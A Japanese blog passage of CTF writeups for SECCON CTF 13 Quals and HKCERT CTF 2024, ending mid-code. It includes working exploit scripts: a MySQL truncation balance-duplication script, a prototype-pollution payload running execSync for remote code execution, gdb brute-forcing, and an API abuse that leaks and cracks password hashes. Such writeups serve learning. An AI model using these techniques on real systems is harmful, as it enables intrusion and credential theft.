st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

SECCON CTF 13 Quals writeup

11/23 - 11/24という日程で開催された。keymoonさんとd=(>o<)=bというチームで出て全体39位、国内11位。国内決勝と国際決勝にはそれぞれ参加資格のあるチームのうち上位8チームが出られる。チームieraeが国内決勝でなく国際決勝へ進むことを加味しても、2チームが辞退しなければ国内決勝には進めないということで、まず予選敗退だ。大変悔しいd=(ToT)=b

[Web 149] Tanuki UdonでまさかそんなことがあるはずがないとXSS解を見逃した、方針転換できなかったのも悔しければ、[Web 193] self-ssrfで色々ガチャガチャ試していたものの、機械的なブルートフォースを試さなかったために flag[=]= を見つけられなかったのも悔しい。

SECCON CTFに出るたびに悔しいと言っている気がする。ArkさんやSatoooonさんの問題と相性が悪いのかなあと言いたくなってしまうけれども、当然ながらこういう難しい変化球に対応できない自分が悪いわけで、精進だなあ。


競技時間中に解いた問題

[Web 108] Trillion Bank (84 solves)

Can you get over $1,000,000,000,000?

Challenge: (問題サーバのURL)
Note: The remote server restarts every 15 minutes. Please ensure your exploit works locally before attempting to attack the remote server.

添付ファイル: Trillion_Bank.tar.gz

問題の概要

与えられたURLにアクセスすると、まず名前を聞かれる。適当な名前で登録すると、次のような画面が表示された。インターネットバンキングのようなWebアプリらしい。自分の預金額をチェックしたり、ほかのユーザに送金したりできる。適当に入力してみるものの、自分自身を対象としたり、預金額を超えたり負数だったりの送金はできない。

問題文に書いてあるけれども、一応コードからもこの問題の目的を確認する。まず compose.yaml を見てみると、webdb という2つのサービスがあるとわかる。このうち、先ほど見ていたWebサーバであろう web というサービスに、環境変数からフラグが与えられている。なお、MySQLサーバの認証情報は固定だけれども、ポートが外部に開放されていないので残念ながらアクセスできない。

services:
  web:
    build: ./web
    restart: unless-stopped
    init: true
    ports:
      - 3000:3000
    environment:
      MYSQL_HOST: db
      MYSQL_DATABASE: chall
      MYSQL_USER: user
      MYSQL_PASSWORD: pass
      FLAG: SECCON{dummy}
    depends_on:
      - db
  db:
    image: mysql:8.0.40
    restart: unless-stopped
    environment:
      - MYSQL_ROOT_PASSWORD=root
      - MYSQL_DATABASE=chall
      - MYSQL_USER=user
      - MYSQL_PASSWORD=pass
    command:
      - --sql_mode=

webpackage.jsonDockerfile の記述からNode.js製のWebアプリだとわかる。フラグに関連する記述は次の通り。/api/me というのは現在ログインしているアカウントの預金額を確認できるAPIだけれども、ここでチェックした際に、預金額が1兆ドルを超えていればフラグがもらえるらしい。

// …
const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1);
const TRILLION = 1_000_000_000_000;
// …
app.get("/api/me", { onRequest: auth }, async (req, res) => {
  try {
    const [{ 0: { balance } }] = await db.query("SELECT * FROM users WHERE id = ?", [req.user.id]);
    req.user.balance = balance;
  } catch (err) {
    return res.status(500).send({ msg: err.message });
  }
  if (req.user.balance >= TRILLION) {
    req.user.flag = FLAG; // 💰
  }
  res.send(req.user);
});
// …

まずアカウントを大量に作成して、ひとつのアカウントに送金し続けることを考えてしまう。しかし、残念ながら今回新規登録者に与えられるのはたった10ドルで、1兆ドルを集めるにはとんでもない回数のリクエストを送らなければならない。これは現実的ではない。

では、この手のインターネットバンキングを模した問題でよくあるRace Conditionはどうだろうか。つまり、並行して複数の送金リクエストを送ることで、預金額が十分にあるかのチェックと、送金元および送金先の預金額の更新という2種類の操作の間に別の送金処理を走らせることで、データの不整合を起こさせる(TOCTOU)ことはできないだろうか。

残念ながら、こちらも対策されている。以下のコードは他ユーザへの送金を行うAPIである /api/transfer の一部だが、一連の送金処理をきちんとトランザクションとしていることがわかる。困るなあ。

  const conn = await db.getConnection();
  try {
    await conn.beginTransaction();

    const [{ 0: { balance } }] = await conn.query("SELECT * FROM users WHERE id = ? FOR UPDATE", [
      req.user.id,
    ]);
    if (amount > balance) {
      throw new Error("Invalid amount");
    }

    await conn.query("UPDATE users SET balance = balance - ? WHERE id = ?", [
      amount,
      req.user.id,
    ]);
    await conn.query("UPDATE users SET balance = balance + ? WHERE name = ?", [
      amount,
      recipientName,
    ]);

    await conn.commit();
  } catch (err) {
    await conn.rollback();
    return res.status(500).send({ msg: err.message });
  } finally {
    db.releaseConnection(conn);
  }

ほか、自分自身への送金やマイナスの額の送金等のチェックはどうなっているか。クライアント側だけで完結していないか。これも残念ながら、次のようにしっかりと確認されている。

ちゃっかり送金先のユーザ名を示す recipientName も文字列化して変なオブジェクトが入ってこないようにしているし、送金額が負数でないかだけでなく、NaNInfinity 等でないことを isFinite で見ているし、登録時に発行されたJWTに入っているユーザID(連番の数字)と、送金先のユーザ名に対応するユーザIDとが同じでないか見ているし、なかなか堅固だ。

const auth = async (req, res) => {
  try {
    await req.jwtVerify();
  } catch {
    return res.status(401).send({ msg: "Unauthorized" });
  }
};
// …
app.post("/api/transfer", { onRequest: auth }, async (req, res) => {
  const recipientName = String(req.body.recipientName);
// …
  const [{ 0: { id } }] = await db.query("SELECT * FROM users WHERE name = ?", [recipientName]);
  if (id === req.user.id) {
    res.status(400).send({ msg: "Self-transfer is not allowed" });
    return;
  }

  const amount = parseInt(req.body.amount);
  if (!isFinite(amount) || amount <= 0) {
    res.status(400).send({ msg: "Invalid amount" });
    return;
  }

nameとid、それからMySQLのtruncation

さて、先ほどちらっと紹介したけれども、この問題ではユーザは idname という2つのユニークな文字列を持つ。name は登録時に自分で決めた文字列で、id はMySQLがどんどんインクリメントしていく数値のIDだ。

    CREATE TABLE users (
      id INT AUTO_INCREMENT NOT NULL,
      name TEXT NOT NULL,
      balance BIGINT NOT NULL,
      PRIMARY KEY (id)
    )

name にUNIQUE制約はないけれども、DB側でなくWeb側で、次のようにユーザが登録しようとしているユーザ名がすでに存在しているものでないかどうかを確認している。なるほどと思ってしまうけれども、ここでDB側にそのユーザ名が存在しているかどうか情報を取りに行っていないのが気になる。

DB側では(設定されている照合順序によって)同じ文字列として判断されるけれども、Web側では異なると判断されるというような挙動の不一致は存在しないだろうか。ただ、正規表現によるユーザ名のチェックのおかげで、(よくあるパターンとして)たとえば大文字やスペース、U+0131といった文字は使えない。

const names = new Set();
// …
app.post("/api/register", async (req, res) => {
  const name = String(req.body.name);
  if (!/^[a-z0-9]+$/.test(name)) {
    res.status(400).send({ msg: "Invalid name" });
    return;
  }
  if (names.has(name)) {
    res.status(400).send({ msg: "Already exists" });
    return;
  }
  names.add(name);
// …

では、文字種以外ではどうだろうか。試しに大変長いユーザ名で登録して、docker exec でDBを見てみる。すると、明らかに65535文字以上の文字列であったところ、65535文字目までで切り取られている。65536文字目以降を別の文字列に変えた上でもう一度登録してみると、やはり65535文字目までで切り取られている。つまり、異なる id で同じ name のユーザができてしまった。

これはどのような問題を引き起こすだろうか。/api/transfer の処理を再度見てみる。もし送金元と送金先が同じ name だったらどうなるか。手順1と2では、idreq.user.id が参照されているので、本来の挙動の通り送金元の預金額が確認される。しかしながら、手順3では name が参照されているので、ログインしている送金元や指定した送金先は関係なく、同じprefixを持つユーザすべての預金額が変更されるということになる。

    // 手順1. 「送金元の」預金額の確認
    const [{ 0: { balance } }] = await conn.query("SELECT * FROM users WHERE id = ? FOR UPDATE", [
      req.user.id,
    ]);
    if (amount > balance) {
      throw new Error("Invalid amount");
    }

    // 手順2. 「送金元の」預金額の変更
    await conn.query("UPDATE users SET balance = balance - ? WHERE id = ?", [
      amount,
      req.user.id,
    ]);
    // 手順3. 「送金先の」預金額の変更
    await conn.query("UPDATE users SET balance = balance + ? WHERE name = ?", [
      amount,
      recipientName,
    ]);

解く

競技中はここで考えるのが面倒くさくなってしまった。送金元や送金先で色々なパターンを組み合わせて試していると、冗長に思えるけれども、とりあえず倍々に預金額を増やしていけるパターンを見つけた。これは次のような手順となる。同じprefixを持たないユーザ3を作っているのがキモで、こいつがユーザ1もしくはユーザ2に送金すると、ユーザ1と2の両方に同じ金額が振り込まれる。

  1. 65535文字のprefixをランダムに生成する
  2. (prefix) (ユーザ1), (prefix)a (ユーザ2), (適当なユーザ名) (ユーザ3) という3つのユーザを作成する
    • 預金額: $10, $10, $10
  3. ユーザ2 → ユーザ3に10ドルを送金
    • 預金額: $10, $0, $20
  4. ユーザ3 → ユーザ1に20ドルを送金
    • 預金額: $30, $20, $0
  5. ユーザ2 → ユーザ1に20ドルを送金
    • 預金額: $50, $20, $0
  6. 送金額を増やしつつ、手順3から5を繰り返す
import random
import string
import httpx

HOST = 'http://(省略)'

prefix = ''.join(random.choices(string.ascii_lowercase, k=65535))

with httpx.Client(base_url=HOST) as client1:
    with httpx.Client(base_url=HOST) as client2:
        with httpx.Client(base_url=HOST) as client3:
            u1 = prefix
            u2 = prefix + 'a'
            u3 = ''.join(random.choices(string.ascii_lowercase, k=32))

            client1.post('/api/register', json={'name': u1})
            client2.post('/api/register', json={'name': u2})
            client3.post('/api/register', json={'name': u3})

            amount = 10
            r = client2.post('/api/transfer', json={
                'amount': str(amount),
                'recipientName': u3
            })
            print(r.json())
            amount *= 2

            while amount < 1_000_000_000_000:
                r = client3.post('/api/transfer', json={
                    'amount': str(amount),
                    'recipientName': u1
                })

                r = client2.post('/api/transfer', json={
                    'amount': str(amount),
                    'recipientName': u1
                })

                amount *= 2
                r = client1.post('/api/transfer', json={
                    'amount': str(amount),
                    'recipientName': u3
                })

            print(client1.get('/api/me').json())
            print(client2.get('/api/me').json())
            print(client3.get('/api/me').json())

実行するとフラグが得られた。

$ python3 s_.py
{'msg': 'Succeeded'}
{'id': 419, 'iat': 1732358738, 'balance': 10}
{'id': 427, 'iat': 1732358738, 'balance': 1374389534700, 'flag': 'SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}'}
{'id': 434, 'iat': 1732358738, 'balance': 1374389534720, 'flag': 'SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}'}
SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}

[Jail 149] pp4 (41 solves)

Let's enjoy the polluted programming💥

(問題サーバへの接続情報)

添付ファイル: pp4.tar.gz

問題の概要

問題の目的から確認していく。Dockerfile は次の通り。最も重要なのは RUN mv flag.txt /flag-$(md5sum flag.txt | cut -c-32).txt で、ルートディレクトリに推測できない名前でフラグがファイルとして保存されていることがわかる。なんとかしてRCEに持ち込みたいところ。

FROM node:22.9.0-slim AS base
WORKDIR /app

COPY flag.txt .
RUN mv flag.txt /flag-$(md5sum flag.txt | cut -c-32).txt
COPY --chmod=555 index.js run


FROM pwn.red/jail
COPY --from=base / /srv
ENV JAIL_TIME=30 JAIL_MEM=50M JAIL_CPU=100 JAIL_PIDS=10

メインの index.js は次の通り。まずJSONを受け取ってパース・複製し、次にテキストを受け取って eval している。非常に単純な処理で、特にユーザ入力を eval してくれているのがありがたいのだけれども、困ったことに4種類しか文字が使えない。IERAE CTF 2024のときにも書いたが、6種類はないと好きなコードを実行するのは難しい。clone は明らかにPrototype Pollutionできる仕組みになっているので、これと組み合わせてなんとかできないか。

#!/usr/local/bin/node
const readline = require("node:readline/promises");
const rl = readline.createInterface({
  input: process.stdin,
  output: process.stdout,
});

const clone = (target, result = {}) => {
  for (const [key, value] of Object.entries(target)) {
    if (value && typeof value == "object") {
      if (!(key in result)) result[key] = {};
      clone(value, result[key]);
    } else {
      result[key] = value;
    }
  }
  return result;
};

(async () => {
  // Step 1: Prototype Pollution
  const json = (await rl.question("Input JSON: ")).trim();
  console.log(clone(JSON.parse(json)));

  // Step 2: JSF**k with 4 characters
  const code = (await rl.question("Input code: ")).trim();
  if (new Set(code).size > 4) {
    console.log("Too many :(");
    return;
  }
  console.log(eval(code));
})().finally(() => rl.close());

解く

ECMAScriptの仕様やV8のコードを見つつ、以前SECCON CTFで出題されたように、仕様段階から入り込んでいるようなPrototype Pollutionのgadgetは存在していないだろうかとまず考えた。特に Set.prototype.size のチェックを突破したいわけで、Set 周りを見ていたところ、Get(set ,"add") というそれっぽいものを見つけた。しかしながら、今回の clone の構造を見るに Setprototype はそもそも汚せないし、汚したところで関数を代入できるわけではないのでただ例外が発生するだけだ。

> Set.prototype.add = 0; (new Set('hoge')).size
Uncaught TypeError: '0' returned for property 'add' of object '#<Set>' is not a function
    at new Set (<anonymous>)

しばらく考えて、Prototype Pollutionから文字種チェックを潰す問題ではないのだろうと考える。たとえば、constructor やJSコードといった文字列をあらかじめ Object.prototype に仕込んでおいて、その後の eval から(4種類の文字しか使えないという制約を守りつつ)参照できないか。

こうして考えているうちに、次のように空文字列をプロパティとして、Object.prototypeconstructor という文字列を仕込むことを考えた。[] は文字列化すると空文字列になるから、[][[]] では空文字列のプロパティへのアクセスが走る。当然ながら [] は空文字列のプロパティを持たないから、プロトタイプチェーンが走査され、最終的に Object.prototype[''] が参照される。これを利用して Function も作れる。

Object.prototype['']='constructor';
[][[]]; // 'constructor'
[][ [][[]] ][ [][[]] ];  // Function

空文字列以外に、[] だけで作れる文字列はないか。少し考えて、まず [].constructor 相当のコードで Array を取り出し、[][Array] 相当のコードで(ここで Array が文字列化された function Array() { [native code] } というようなプロパティへのアクセスが走るが、当然存在しない*1ので) undefined を作り出し、そして [][undefined] 相当のコードで undefined プロパティへのアクセスをさせるということを思いついた。

[].constructor.constructorFunction を作り出し、そして [][undefined] で本当に実行したいJSコードを取り出して Function に投げる。これで好きなコードの実行に繋げられる。ここまでの成果をまとめて、ペイロードを生成するPythonスクリプトを作成する。

import json
j = json.dumps({
    '__proto__': {
        '': 'constructor',
        'undefined': 'console.log(process.mainModule.require("child_process").execSync("cat /f*").toString())'
    }
})

c = '[][[]]'
u = '[][[][[][[]]]]'
print(j)
p = '[][constructor][constructor]([][undefined])()'.replace('constructor', c).replace('undefined', u)
print(p)

これを問題サーバに投げると、フラグが得られた。

$ nc (省略)
Input JSON: {"__proto__": {"": "constructor", "undefined": "console.log(process.mainModule.require(\"child_process\").execSync(\"cat /f*\").toString())"}}
{}
Input code: [][[][[]]][[][[]]]([][[][[][[][[]]]]])()
SECCON{prototype_po11ution_turns_JavaScript_into_a_puzzle_game}

undefined
SECCON{prototype_po11ution_turns_JavaScript_into_a_puzzle_game}

[Reversing 93] packed (119 solves)

Packer is one of the most common technique malwares are using.

添付ファイル: packed.tar.gz

a.out というamd64のELFが与えられている。静的リンクらしい。実行するとフラグを聞かれるし、適当な文字列を投げると違うと怒られる。

$ file a.out
a.out: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header
$ ./a.out
FLAG: d=(-o-)=b
Wrong.

バイナリエディタで開いてみると UPX! というバイト列が見える。UPXでパックされているらしい。

upx -d でアンパックしてみるが、出てきたバイナリは明らかにどんな文字列を投げても Wrong. と返ってくるようなものになっていた。どうやら upx -d でアンパックするとちゃんと動作しなくなってしまうという、厄介なバイナリらしい。

仕方がないのでアンパックせずにそのまま触ってみる。gdb で実行しつつ、フラグを聞かれたタイミングで止めてみる。すると、次のように read のシステムコール後、文字数をチェックしている様子が確認できた。先ほどアンパックしたバイナリにはなかった処理だ。どうやらフラグは49文字(おそらく改行文字が含まれていて、フラグ本体は48文字だろう)らしい。

   0x44ee19:    xor    edi,edi
   0x44ee1b:    xor    eax,eax
   0x44ee1d:    syscall
=> 0x44ee1f:    cmp    eax,0x31
   0x44ee22:    jne    0x44eec3
   0x44ee28:    mov    ecx,eax
   0x44ee2a:    pop    rdx
   0x44ee2b:    pop    rsi

とりあえず49文字の文字列を投げてみる。0x44ee72 という関数へ飛んだ。

   0x44ee35:    xor    BYTE PTR [rdi],al
   0x44ee37:    inc    rdi
   0x44ee3a:    loopne 0x44ee34
=> 0x44ee3c:    call   0x44ee72

この関数は、どうやら1文字ずつフラグをチェックしているらしい。cmp の直後にブレークポイントを置きつつ1文字ずつブルートフォースし、ZFが立っているかどうかで正誤判定をする。これで1文字ずつフラグが得られないか。

gdb-peda$ pdisas 0x44ee72
Dump of assembler code from 0x44ee72 to 0x44ee92::      Dump of assembler code from 0x44ee72 to 0x44ee92:
   0x000000000044ee72:  mov    ecx,0x31
   0x000000000044ee77:  pop    rsi
   0x000000000044ee78:  lea    rdi,[rsp-0x90]
   0x000000000044ee80:  xor    edx,edx
   0x000000000044ee82:  lods   al,BYTE PTR ds:[rsi]
   0x000000000044ee83:  cmp    BYTE PTR [rdi],al
   0x000000000044ee85:  setne  al
   0x000000000044ee88:  or     dl,al
   0x000000000044ee8a:  inc    rdi
   0x000000000044ee8d:  loopne 0x44ee82
   0x000000000044ee8f:  test   edx,edx
   0x000000000044ee91:  jne    0x44eec3
End of assembler dump.

次のようなgdbスクリプトを用意する。

# gdb -n -q -x s.py ./a.out | grep flag
import gdb
import string
import sys

gdb.execute('set pagination off')
gdb.execute('set disassembly-flavor intel')
gdb.execute('b *0x44ee85', to_string=True) # after cmp

flag = ''
for _ in range(0x31):
    for c in string.printable.strip():
        with open('input', 'w') as f:
            f.write((flag + c).ljust(0x31, 'a'))
        gdb.execute('r < input', to_string=True)

        for _ in range(len(flag)):
            gdb.execute('c', to_string=True)

        x = gdb.execute('p $eflags', to_string=True)
        if 'ZF' in x:
            flag += c
            print(f'{flag=}')
            break
else:
    raise Exception('wtf')

実行するとフラグが得られた。へー。

$ gdb -n -q -x s.py ./a.out | grep flag
flag='S'
flag='SE'
flag='SEC'
...
flag='SECCON{UPX_s7ub_1s_a_g0od_pl4c3_f0r_h1din6_c0d'
flag='SECCON{UPX_s7ub_1s_a_g0od_pl4c3_f0r_h1din6_c0d3'
flag='SECCON{UPX_s7ub_1s_a_g0od_pl4c3_f0r_h1din6_c0d3}'
SECCON{UPX_s7ub_1s_a_g0od_pl4c3_f0r_h1din6_c0d3}

[Reversing 118] Jump (69 solves)

Who would have predicted that ARM would become so popular?

※ We confirmed the binary of Jump accepts multiple flags. The SHA-1 of the correct flag is c69bc9382d04f8f3fbb92341143f2e3590a61a08 We're sorry for your patience and inconvenience

添付ファイル: Jump.tar.gz

jump という64ビットのARMのバイナリが与えられる。環境を用意するのが面倒なので、実行するのは最終手段としてまず静的解析でやっていく。

$ file jump
jump: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, stripped

Ghidraに投げてデコンパイルする。ざっとバイナリの全体を眺めたところ、次のように(どこから呼び出されているかはよくわからないけれども)なんだかフラグを4文字ずつチェックしているっぽい関数がいくつも見つかる。SECC, h4k3, _1t_, ON{5, … 入れ替えると SECCON{5h4k3_1t_ だ。

void FUN_00400648(int param_1)

{
  tabun_ok_flag = (tabun_ok_flag & 1 & param_1 == 0x336b3468) != 0;
  return;
}
void FUN_004006ac(int param_1)

{
  tabun_ok_flag = (tabun_ok_flag & 1 & param_1 == 0x5f74315f) != 0;
  return;
}
void FUN_00400710(int param_1)

{
  tabun_ok_flag = (tabun_ok_flag & 1 & param_1 == 0x357b4e4f) != 0;
  return;
}

こういう単純な関数だけならよいのだけれども、次のように直前の4文字に依存しているような関数もある。幸いにも正解の4文字を当てるのにブルートフォースは必要のないチェック処理だから、前のブロックから4文字ずつ順番に特定していけばよい。

void FUN_00400774(long param_1)

{
  tabun_ok_flag =
       (tabun_ok_flag & 1 &
       *(int *)(param_1 + DAT_00412038) + *(int *)(param_1 + DAT_00412038 + -4) == -0x62629d6b) != 0
  ;
  return;
}

ただ、どの関数がどのブロックに対応しているかはよくわからない。わざわざ調べるのも面倒なので、次のようにブルートフォースしてしまおう。0x5f74315f の部分はわかっている直前のブロックの値を入れる。正負も関数によって変えなければならないことに注意。これをすべての関数に対して繰り返す。

#include <stdio.h>
int main(int argc, char **argv) {
    int x[] = { -0x62629d6b, -0x6b2c5e2c, 0x47cb363b, -0x626b6223 };
    int res[2] = { 0 };

    for (int i = 0; i < 4; i++) {
        res[0] = x[i] - 0x5f74315f;
        printf("%08x: ", res[0]);
        puts((char *) res);
    }
    return 0;
}

up_5, h-5h, -5h5, hk3} という4つの文字列が出てくる。これらをつなぎ合わせるとフラグだ。

SECCON{5h4k3_1t_up_5h-5h-5h5hk3}

*1:つまり、ここで止めて、Arrayを文字列化したプロパティにJSコードを仕込んでおけばよかったのだけれども、面倒くさかった

HKCERT CTF 2024 (Qualifying Round) writeup

11/8 - 11/10という日程で開催された。BunkyoWesternsのst98kamo*1として参加して5位。とても長いルールを読むと、中等教育の過程にある香港人、高等教育の過程にある香港人、18歳以上の香港人、そしてそれら以外の全世界の人という4つのチームのカテゴリがあり、それぞれ5チームずつが決勝へ進めることになっているとわかる。我々はギリギリストレートにqualifiedということで、1月に香港で開催される決勝大会*2を楽しみにしたい。


[Web 100] New Free Lunch (587 solves)

You are Chris Wong, you have a mission to win the game and redeem the free meal. Try to get over 300 score. Your flag will appears in scoreboard.php.

Note: There is a step-by-step guide to the challenge.

(問題サーバのURL)

ソースコードは与えられていない。与えられたURLにアクセスすると、ログインフォームが表示される。適当なユーザ名とパスワードで登録しログインすると、なにやらゲームが表示された。白黒のマスが上から下に流れていく。黒いマスをクリックすると1点プラス、白いマスをクリックしたり、クリックしないままに黒いマスが一番下に到達するとゲームオーバーらしい。

300点を超えろということだが、面倒くさいのでチートをしたい。ゲームオーバー時の処理は次の通り。スコア等々の情報はクライアント側で保持されており、最終的にサーバに送られるのは、スコアと、それを generateHash という謎の関数でハッシュ化したものの2つだ。

        async function endGame() {
            clearInterval(gameInterval);
            clearInterval(timerInterval);
            alert('Game Over! Your score: ' + score);

            const hash = generateHash(secretKey + username + score);

            fetch('/update_score.php', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                    'Authorization': `Bearer ${token}`
                },
                body: JSON.stringify({
                    score: score,
                    hash: hash
                })
            })
            .then(response => response.json())
            .then(data => {
                if (data.success) {
                    alert('Score updated!');
                } else {
                    alert('Failed to update score.');
                }
                location.reload();
            });
        }

ならば、スコアが格納されている score を書き換えてしまおう。setInterval(() => { score = 301 }, 10) をDevToolsで実行して、10msごとにスコアを301点に書き換える。このままゲームオーバーになると、無事に301点でランキングに登録され、フラグを手に入れることができた。

hkcert24{r3d33m_f0r_4_fr33_lunch}

[Web 200] Mystiz's Mini CTF (1) (48 solves)

"A QA engineer walks into a bar. Orders a beer. Orders 0 beers. Orders 99999999999 beers. Orders a lizard. Orders -1 beers. Orders a ueicbksjdhd."

I am working on yet another CTF platform. I haven't implement all the features yet, but I am confident that it is at least secure.

Can you send me the flag of the challenge "Hack this site!"?

添付ファイル: minictf-1_bc36d27733c38dceeec332324267b77d.zip

ユーザごとに問題サーバのインスタンスが作成できるようになっている。破壊的な攻撃ができるとか、そうしなければならない事情があるのだろうか。さて、問題文でも書かれているように、これはCTFのスコアサーバを攻撃する問題らしい。(1) と問題名にあることから推測できるように、同じサーバを対象に (1) とは異なる攻撃を行う必要のある別の問題もある。

まず Dockerfile を確認すると、環境変数でこれら2問のフラグが設定されていることがわかる。

ENV FLAG_1=hkcert24{this_is_a_test_flag_1}
ENV FLAG_2=hkcert24{this_is_a_test_flag_2}

DBを初期化する web/migrations/versions/96fa27cc07b9_init.py でこれらの環境変数が参照されている。FLAG_1 が参照されている箇所は次の通り。Hack this site! という問題でこれがフラグとして設定されており、player というユーザが正解しているらしい。

この player というユーザのパスワードは6桁のhexとなっている。弱そうだけれども、リモートで試すには試行に必要な回数が多すぎるし、ローカルで試そうにもなんとかしてハッシュ化されたパスワードを得る必要がある。

    ADMIN_PASSWORD = os.urandom(33).hex()
    PLAYER_PASSWORD = os.urandom(3).hex()

    FLAG_1 = os.environ.get('FLAG_1', 'flag{***REDACTED1***}')
    FLAG_2 = os.environ.get('FLAG_2', 'flag{***REDACTED2***}')
# …
    db.session.add(User(id=2, username='player', is_admin=False, score=500, password=PLAYER_PASSWORD, last_solved_at=datetime.fromisoformat('2024-05-11T03:05:00')))
# …
    db.session.add(Challenge(id=1, title='Hack this site!', description=f'I was told that there is <a href="/" target="_blank">an unbreakable CTF platform</a>. Can you break it?', category=Category.WEB, flag=FLAG_1, score=500, solves=1, released_at=RELEASE_TIME_NOW))
# …
    db.session.add(Attempt(challenge_id=1, user_id=2, flag=FLAG_1, is_correct=True, submitted_at=RELEASE_TIME_NOW))

このアプリは /api/challenges//api/users/, /api/attempts/ といったAPIを持っているわけだけれども、コードを見てみると、以下のようにいずれのAPIもグループ化に対応していることがわかる。group というクエリパラメータが与えられると、指定されたカラムをキーとしてグループ化してくれるらしい。

class GroupAPI(MethodView):
    init_every_request = False

    def __init__(self, model):
        self.model = model

        self.name_singular = self.model.__tablename__
        self.name_plural = f'{self.model.__tablename__}s'
    
    def get(self):
        # the users are only able to list the entries related to them
        items = self.model.query_view.all()

        group = request.args.get('group')

        if group is not None and not group.startswith('_') and group in dir(self.model):
            grouped_items = collections.defaultdict(list)
            for item in items:
                id = str(item.__getattribute__(group))
                grouped_items[id].append(item.marshal())
            return jsonify({self.name_plural: grouped_items}), 200

        return jsonify({self.name_plural: [item.marshal() for item in items]}), 200

本来その内容が外部へ漏れるべきでないカラムを指定できないか。試しに /api/users/?group=password にアクセスしてみると、次のように本来は閲覧できない各ユーザのハッシュ化されたパスワードが得られてしまった。

$ curl "http://localhost:5000/api/users/"
{"users":[{"id":1,"is_admin":true,"score":0,"username":"admin"},{"id":2,"is_admin":false,"score":500,"username":"player"}]}
$ curl "http://localhost:5000/api/users/?group=password"
{"users":{"8b7ff425.05eb8db7da264731b86823343fac4c8699dae67f08697ab017249bccf0e6d2cf":[{"id":1,"is_admin":true,"score":0,"username":"admin"}],"d4db1341.0f36fb41e0fd339078c25dee01cbd42b3238597b74fc51adc6af42c09f982dc3":[{"id":2,"is_admin":false,"score":500,"username":"player"}]}}

ちなみに、フラグも同じ要領で盗み出すことができるのではないかと思ってしまうが、残念ながらユーザのパスワードと同様にハッシュ化されている*3のでダメだ。

$ curl "http://localhost:5000/api/challenges/?group=flag"
{"challenges":{"3e4ea987.d1e840ba549ce0bab51aa3f106ec88363edc64960c83d5603c66bd5a5f6df822":[{"category":"web","description":"I was told that there is <a href=\"/\" target=\"_blank\">an unbreakable CTF platform</a>. Can you break it?","id":1,"released_at":"Wed, 13 Nov 2024 00:00:00 GMT","score":500,"solves":1,"title":"Hack this site!"}],…

ユーザのパスワードは以下のような形式でハッシュ化され、データベースに保存されている。これならばクラックも容易だ。

def compute_hash(password, salt=None):
    if salt is None:
        salt = os.urandom(4).hex()
    return salt + '.' + hashlib.sha256(f'{salt}/{password}'.encode()).hexdigest()

では、player としてログインしてどうするか。先程 /api/attempts/ というAPIがあると紹介したけれども、これはこれまでの自身のフラグの送信状況を確認できるものだ。本来は {"attempts":[{"challenge_id":2,"id":2,"is_correct":false,"user_id":3}]} のようにどんなフラグを試したかはわからないようになっているが、先程と同じ要領でグループ化を悪用してその内容が得られるようになる。/api/attempts では送信されたフラグをハッシュ化せずに格納しているので、そのまま FLAG_1 が得られるはずだ。

最終的に、以下のようなexploitができあがった。

import hashlib
import itertools
import string
import httpx

def compute_hash(password, salt=None):
    return salt + '.' + hashlib.sha256(f'{salt}/{password}'.encode()).hexdigest()

with httpx.Client(base_url='https://(省略)/') as client:
    r = client.get('/api/users/?group=password').json()
    for k, v in r['users'].items():
        if v[0]['username'] == 'player':
            salt, h = k.split('.')
            break

    for p in itertools.product(string.digits + 'abcdef', repeat=6):
        p = ''.join(p)
        if compute_hash(p, salt).split('.')[1] == h:
            print(p)
            break

    client.post('/login/', data={
        'username': 'player',
        'password': p
    })

    print(client.get('/api/attempts/?group=flag').json())

実行するとフラグが得られた。

$ python3 1.py
7df71e
{'attempts': {'hkcert24{y0u_c4n_9r0up_unsp3c1f13d_4t7r1bu73s_fr0m_th3_4tt3mp7_m0d3l}': [{'challenge_id': 1, 'id': 1, 'is_correct': True, 'user_id': 2}]}}
hkcert24{y0u_c4n_9r0up_unsp3c1f13d_4t7r1bu73s_fr0m_th3_4tt3mp7_m0d3l}

[Web 100] Mystiz's Mini CTF (2) (72 solves)

"A QA engineer walks into a bar. Orders a beer. Orders 0 beers. Orders 99999999999 beers. Orders a lizard. Orders -1 beers. Orders a ueicbksjdhd."

I am working on yet another CTF platform. I haven't implement all the features yet, but I am confident that it is at least secure.

Can you send me the flag of the challenge "A placeholder challenge"?

添付ファイル: minictf-1_bc36d27733c38dceeec332324267b77d.zip

添付されているファイルは (1) と同じだ。FLAG_2 が参照されている箇所は次の通り。問題文に平文でフラグが含まれているが、リリースされるのが来年ということで問題一覧からは閲覧できない。

    RELEASE_TIME_NOW    = date.today()
    RELEASE_TIME_BACKUP = date.today() + timedelta(days=365)
# …
    db.session.add(Challenge(id=7, title='A placeholder challenge', description=f'Many players complained that the CTF is too guessy. We heard you. As an apology, we will give you a free flag. Enjoy - <code>{FLAG_2}</code>.', category=Category.MISC, flag=FLAG_2, score=500, solves=0, released_at=RELEASE_TIME_BACKUP))

実は /api/admin/challenges/ というAPIが存在しており、ここからならばリリース時刻は関係なくすべての問題の情報を閲覧できる。このAPIにアクセスするには管理者である必要がある、もっと正確に言えばそのユーザの is_admin カラムが True である必要があるが、どうすればこの条件を満たせるか。最初からこの条件を満たしている admin というユーザがいるにはいるし、ハッシュ化されたパスワードは (1) の手法で手に入れられるが、(1) で確認したようにそのパスワードは os.urandom(33).hex() と現実的にはクラック不可能だ。

@route.route('/', methods=[HTTPMethod.GET])
@login_required
def list_challenges():
    if not current_user.is_admin:
        return jsonify({'error': 'not an admin'}), HTTPStatus.FORBIDDEN

    challenges = Challenge.query.all()

    return jsonify({
        'challenges': [challenge.admin_marshal() for challenge in challenges]
    }), HTTPStatus.OK

では、新しくユーザを登録した際に is_adminTrue に書き換えることはできないか。ユーザを登録できるAPIである /register/ のコードは次の通り。

@route.route('/register/', methods=[HTTPMethod.POST])
def register_submit():
    user = User()
    UserForm = model_form(User)

